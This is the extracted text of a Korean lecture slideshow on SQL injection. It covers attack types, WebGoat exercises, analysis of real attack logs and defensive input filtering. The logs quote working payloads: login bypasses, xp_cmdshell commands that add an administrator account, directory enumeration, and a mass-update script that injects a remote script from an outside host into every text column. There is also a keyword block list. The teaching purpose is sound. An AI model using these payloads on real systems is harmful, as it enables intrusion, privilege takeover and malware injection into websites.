10 v SQL Injection SQL Injection SELECT FROM

  • Slides: 68
Download presentation

공격 방법(10) v SQL Injection – 종류 구분 ① SQL Injection – 강제로 논리적

공격 방법(10) v SQL Injection – 종류 구분 ① SQL Injection – 강제로 논리적 참을 만듦 예. SELECT * FROM user_data WHERE last_name = 'Your Name' or ‘ 1=1’ ② Blind SQL Injection – 쿼리 결과를 항상 거짓이 되도록 함 예1. http: //www. xxx. com/page. php? id=5 and 1=1 (참 : 출력됨) 예2. http: //www. xxx. com/page. php? id=5 and 1=2 (거짓 : 출력되지 않음) 네 트 워 크 프 로 그 래 밍 ③ Union SQL Injection – 이중 쿼리 예1. http: //www. site. com/news. php? id=5 union all select top 1 table_name from information_schema. tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. http: //www. site. com/member/checkid. asp? id= '; CREAT. . . r. dbo. xp_cmdshell%20'netstat%20 -an'; 12 12

공격 방법(12) v SQL Injection – 기본방법 이해 $id=admin $passwd= 1’ or ‘ 1=1

공격 방법(12) v SQL Injection – 기본방법 이해 $id=admin $passwd= 1’ or ‘ 1=1 admin ***** 관리자로 로그인 성공 네 트 워 크 프 로 그 래 밍 $str. Login. SQL = "Select * from member where id = ‘admin' '$str. User. ID' and password = ‘ 1’ =or'$str. User. Pass'"; ‘ 1 = 1'"; FALSE TRUE 14

공격 방법(14) v SQL Injection – 기본방법 이해 (3 -1) 웹 사이트 왼쪽 메뉴에서

공격 방법(14) v SQL Injection – 기본방법 이해 (3 -1) 웹 사이트 왼쪽 메뉴에서 [Injection flaws] – [Numeric SQL Injection]을 클릭하고 문제를 풀어보도록 하자. http: //localhost/Web. Goat/attack 네 트 워 크 프 로 그 래 밍 SQL 문장 : SELECT * FROM user_data WHERE userid=101 참조건 문장 : SELECT * FROM user_data WHERE userid=101 or 1=1 16

공격 방법(14) v SQL Injection – 기본방법 이해 (3 -2) 이번에는 [Injection flaws] –

공격 방법(14) v SQL Injection – 기본방법 이해 (3 -2) 이번에는 [Injection flaws] – [String SQL Injection]을 클릭하고 문제를 풀 어보도록 하자. 네 트 워 크 프 로 그 래 밍 SQL 문장 : SELECT * FROM user_data WHERE last_name=‘Your Name’ 참조건 문장 : SELECT * FROM user_data WHERE last_name=‘Your Name’ or ‘ 1=1’ 17

해킹 로그 분석(2) v SQL Injection 공격로그 – 그 첫 번째 1. Number=2002 -002412'|63|80040

해킹 로그 분석(2) v SQL Injection 공격로그 – 그 첫 번째 1. Number=2002 -002412'|63|80040 e 14|'2002 -002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number=2002 -002412' and user=1 and ''='|63|80040 e 07|nvarchar_값_'team'을(를)_int_데이터_형식의_ 열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number=2002 -002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040 e 07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니 다. 500 4. /Report. asp Number=2002 -002412' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040 e 07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중 네 트 워 크 프 로 그 래 밍 _구문_오류가_발생했습니다. 500 5. Number=2002 -002412’; exec master. dbo. addextendedproc 'xp_cmdshell', 'xplog 70. dll' 6. Number=2002 -002412’; EXEC%20 MASTER. . XP_CMDSHELL%20'echo%20^<iframe%20 src=^'http: //www. netpk. org/subway/icyfo x. htm^'%20 33

해킹 로그 분석(8) v SQL Injection 공격로그 – 그 두 번째 2007 -01 -05

해킹 로그 분석(8) v SQL Injection 공격로그 – 그 두 번째 2007 -01 -05 15: 50: 54 XXX. 24. 57 – [피해 시스템 IP] 80 GET /member/checkid. asp id='; CREAT. . . r. dbo. xp_cmdshell%20'netstat%20 -an'; 2007 -01 -05 15: 51: 42 XXX. 24. 57 – [피해 시스템 IP] 80 GET /member/checkid. asp id='; CR. . . mdshell%20'net%20 user%203800 hk%20/add'; --- 중략 --2007 -01 -05 15: 51: 59 XXX. 24. 57 – [피해 시스템 IP] 80 GET /member/checkid. asp 네 트 워 크 프 로 그 래 밍 id='; CRE. . . shell%20'net%20 localgroup%20 administrators%203800 hk%20/add'; --- 중략 -'); exec%20 master. dbo. sp_dropextendedproc%20'xp_cmdshell'-- 200 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ; exec%20 master. dbo. sp_dropextendedproc%20'xp_cmdshell'-39

해킹 로그 분석(9) v SQL Injection 공격로그 – 그 세 번째 네 트 워

해킹 로그 분석(9) v SQL Injection 공격로그 – 그 세 번째 네 트 워 크 프 로 그 래 밍 /Test. asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040 e 14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report. asp Number=2002 -002412' and user=1 and ''=‘ |63|80040 e 07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200 X-09 -10 06: 24: 49 /Report. asp Number=2002 -002412' And Cast(IS_SRVROLEMEMBER(0 x 730079007300610064006 D 0069006 E 00) as varchar(1))+char(124)=1 And ''=‘ |63|80040 e 07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === db계정(blabla)가 sysadmin 인지를 확인 40

해킹 로그 분석(10) v SQL Injection 공격로그 – 그 세 번째 IS_SRVROLEMEMBER(0 x 730079007300610064006

해킹 로그 분석(10) v SQL Injection 공격로그 – 그 세 번째 IS_SRVROLEMEMBER(0 x 730079007300610064006 D 0069006 E 00) = IS_SRVROLEMEMBER(sysadmin) 네 트 워 크 프 로 그 래 밍 41

해킹 로그 분석(11) v SQL Injection 공격로그 – 그 세 번째 /Report. asp Number=2002

해킹 로그 분석(11) v SQL Injection 공격로그 – 그 세 번째 /Report. asp Number=2002 -002412' And Cast(IS_MEMBER(0 x 640062005 F 006 F 0077006 E 0065007200) as varchar(1))+char(124)=1 And ''='|63|80040 e 07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류 가_발생했습니다. 500 === db_owner인지 확인 요청 네 트 워 크 프 로 그 래 밍 Cast(IS_MEMBER(0 x 640062005 F 006 F 0077006 E 0065007200) = Cast(IS_MEMBER(db_owner) 42

해킹 로그 분석(12) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10

해킹 로그 분석(12) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10 06: 24: 52 /Report. asp Number=2002 -002412' And db_name()+char(124)=0 And ''='|63|80040 e 07|nvarchar_값_'blabla|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오 류가_발생했습니다. 500 Microsoft+URL+Control+-+6. 00. 8862 db_name() 함수 : 데이터베이스 이름 제공 네 트 워 크 프 로 그 래 밍 43

해킹 로그 분석(13) v SQL Injection 공격로그 – 그 세 번째 /Report. asp Number=2002

해킹 로그 분석(13) v SQL Injection 공격로그 – 그 세 번째 /Report. asp Number=2002 -002412'; DROP TABLE NB_Tree. List_Tmp; CREATE TABLE NB_Tree. List_Tmp(subdirectory nvarchar(256) NULL, depth tinyint NULL, [file] bit NULL)-- 200 Microsoft+URL+Control+-+6. 00. 8862 (1) 테이블 삭제 ( drop nb_treelist_tmp ) (2) 테이블 생성 ( create table nb_treelist_tmp … ) 네 트 워 크 프 로 그 래 밍 44

해킹 로그 분석(14) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10

해킹 로그 분석(14) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10 06: 25: 22 /Report. asp Number=2002 -002412'; Insert NB_Tree. List_Tmp exec master. . xp_dirtree 'C: ', 1, 1 -- 200 Microsoft+URL+Control+-+6. 00. 8862 === 디렉토리 정보 테이블에 삽입 네 트 워 크 프 로 그 래 밍 exec master. . xp_dirtree 'C: ‘ 1 1 45

해킹 로그 분석(15) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10

해킹 로그 분석(15) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10 06: 25: 22 /Report. asp Number=2002 -002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 1 [subdirectory], [file] From NB_Tree. List_Tmp ORDER BY [file], [subdirectory]) T ORDER BY [file] desc, [subdirectory] desc)=0 And 'f. ALSE'<>'|63|80040 e 07|varchar_값_'ASFRoot|0|'을(를)_int_ 데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 0 : directory 1 : file 을 의미함 200 X-09 -10 06: 25: 32 /Report. asp Number=2002 -002412' And (Select Top 1 cast([subdirectory] as 네 트 워 크 프 로 그 래 밍 varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 21 [subdirectory], [file] From NB_Tree. List_Tmp ORDER BY [file], [subdirectory]) T ORDER BY [file] desc, [subdirectory] desc)=0 And 'f. ALSE'<>'|63|80040 e 07|varchar_값_'WS_FTP. LOG|1|'을(를 )_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 46

해킹 로그 분석(16) v SQL Injection 공격로그 – 그 세 번째 SQL> SELECT rowid,

해킹 로그 분석(16) v SQL Injection 공격로그 – 그 세 번째 SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID ROWNUM DEPTNO DNAME ---------- -------AAA 10 ACCOUNTING AAB 20 RESEARCH AAC 30 SALES AAD 40 OPERATIONS SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); 네 트 워 크 프 로 그 래 밍 ENAME SAL ROWNUM ----------ABBK 7000 1 KING 5000 2 FORD 3000 3 SCOTT 3000 4 JONES 2975 5 BLAKE 2850 6 CLARK 2450 7 ALLEN 1600 8 47

해킹 로그 분석(17) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10

해킹 로그 분석(17) v SQL Injection 공격로그 – 그 세 번째 200 X-09 -10 06: 33: 17 /Report. asp Number=2002 -002412'; declare @a sysname, @s nvarchar(4000) select @a=db_name(), @s=0 x 6 C 006 F 00760065002 E 00620061006 B 00 backup database @a to disk=@s; -- 200 -Declare : 선언하는 함수 -@a를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당) 네 트 워 크 프 로 그 래 밍 - @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 할당함, 즉 love. bak라는 이름을 @s로 별칭줌 @s=0 x 6 C 006 F 00760065002 E 00620061006 B 00 - Backup database @a(db_name()) to disk=@s 참고) 백업 명령: backup database 데이터베이스이름 to 백업장치 48

해킹 로그 분석(21) v SQL Injection 공격로그 – 그 네 번째 테이블 이름 :

해킹 로그 분석(21) v SQL Injection 공격로그 – 그 네 번째 테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 네 트 워 크 프 로 그 래 밍 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1— 참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument. 52

해킹 로그 분석(22) v SQL Injection 공격로그 – 그 네 번째 결론 : 결국

해킹 로그 분석(22) v SQL Injection 공격로그 – 그 네 번째 결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임 의 데이터 변조가 가능함 네 트 워 크 프 로 그 래 밍 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())-- 53

해킹 로그 분석(23) v SQL Injection 공격로그 – 그 다섯 번째 GET /home/site_content_3. asp

해킹 로그 분석(23) v SQL Injection 공격로그 – 그 다섯 번째 GET /home/site_content_3. asp s=290'; DECLARE%20@S%20 NVARCHAR(4000); SET%20@S=CAST(0 x 6400650063006 C 006100중간생략 … 00200040006 D 003 D 005200450056004500520053004500280040006 D 0029003 B 0073006500740020 0040006 D 003 D 0073007500620073007400720069006 E 006700280040006 D 002 C 00500041005400490 04 E 00440045005800270025003 B 00250027002 C 0040006 D 0029002 C 003800300030002900 3 B 00730065007400200040006 D 003 D 005200450056004500520053004500280040006 D 0029003 B 006 500780065006300280040006 D 0029003 B 00%20 AS%20 NVARCHAR(4000)); EXEC(@S); -declare @m varchar(8000); set @m=''; select 네 트 워 크 프 로 그 래 밍 @m=@m+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<sc ript src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); 55

해킹 로그 분석(27) v SQL Injection 공격로그 – 그 다섯 번째 declare @m varchar(8000);

해킹 로그 분석(27) v SQL Injection 공격로그 – 그 다섯 번째 declare @m varchar(8000); set @m=''; select @m=@m+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<sc ript src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); 네 트 워 크 프 로 그 래 밍 Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo. sysobjects a ( sysobjects를 a 로 별칭 ) dbo. syscolumns b ( syscolumn를 b 로 별칭 ) dbo. systypes c ( systypes를 c 로 별칭 ) where a. id=b. id and a. xtype='U‘ and b. xtype=c. xtype and c. name='varchar'; 테이블정보 사용자테이블 필드 데이터필드 중 varchar 59

해킹 로그 분석(28) v SQL Injection 공격로그 – 그 다섯 번째 declare @m varchar(8000);

해킹 로그 분석(28) v SQL Injection 공격로그 – 그 다섯 번째 declare @m varchar(8000); set @m=''; select @m=@m+'update['+a. name+']set['+b. name+']=rtrim(convert(varchar, '+b. name+'))+''<sc ript src="http: //yl 18. net/0. js"></script>''; ' from dbo. sysobjects a, dbo. syscolumns b, dbo. systypes c where a. id=b. id and a. xtype='U'and b. xtype=c. xtype and c. name='varchar'; set @m=REVERSE(@m); set @m=substring(@m, PATINDEX('%; %', @m), 8000); set @m=REVERSE(@m); exec(@m); 네 트 워 크 프 로 그 래 밍 Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) UPDATE 테이블명 SET 속성명 = 데이터[, 속성명 = 데이터, . . ] WHERE 조건; 예) <사원> 테이블에서 홍길동의 주소를 '이월면' 으로 갱신하는 SQL문 UPDATE 사원 SET 주소='이월면' WHERE 이름='홍길동'; ‘ update['+a. name+']set['+b. name+']= rtrim(convert(varchar, '+b. name+'))+''<script src="http: //yl 18. net/0. js"></script>''; ' 60

보호 방법(2) v SQL Injection 공격대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예) $query=sprintf("SELECT

보호 방법(2) v SQL Injection 공격대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예) $query=sprintf("SELECT id, password, username FROM user_table WHERE id='%s'; “ , addslashes($id)); 네 트 워 크 프 로 그 래 밍 64

보호 방법(4) v SQL Injection 공격대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에 적용하지

보호 방법(4) v SQL Injection 공격대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에 적용하지 않고 필터링 효과를 제공 받을 수 있다. sql_pattern = Array("-", "; ", "/*", "*/", "@@", "char", "nchar", "varchar", "nvarchar", "alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end", "exec", "execute", "fetch", "insert", "kill", "open", "select", "sysobjects", "syscolumns", "table", "update", "<script", "</script>", "'") ( 공격패턴 정의 ) for each item in Request. Query. String ( GET방식 입력 값 ) for array_counter = lbound(sql_pattern) to ubound(sql_pattern) ( sql_pattern 배열크기계산 ) 네 트 워 크 프 로 그 래 밍 item_position 1 = In. Str(lcase(Request(item)), sql_pattern(array_counter)) Instr()함수는 들어온 문자열을 검사합니다. lcase()함수는 대문자를 소문자로 무조건 변환 if (item_position 1 > 0) or (item_position 2 > 0) then ( 공격문자열이 있는 경우 ) Response. Write("악의적인 문자열이 포함되어 있습니다. “) 66

보호 방법(6) v SQL Injection 공격대책 function h_check(Objectname) { var int. Err var str.

보호 방법(6) v SQL Injection 공격대책 function h_check(Objectname) { var int. Err var str. Value = Objectname// var str. Value = Objectname. value var ret. Code = 0 for (i = 0; i < str. Value. length; i++) { var ret. Code = str. Value. char. Code. At(i) var ret. Char = str. Value. substr(i, 1). to. Upper. Case() ret. Code = parse. Int(ret. Code) if ((ret. Char < "0" || ret. Char > "9") && ret. Char != '-' && ret. Char !='_' && (ret. Char < "A" || ret. Char > "Z") && ((ret. Code > 255) ||ret. Char=="'"||(ret. Code < 0))) { int. Err = -1; break; } } 네 트 워 크 프 로 그 래 밍 68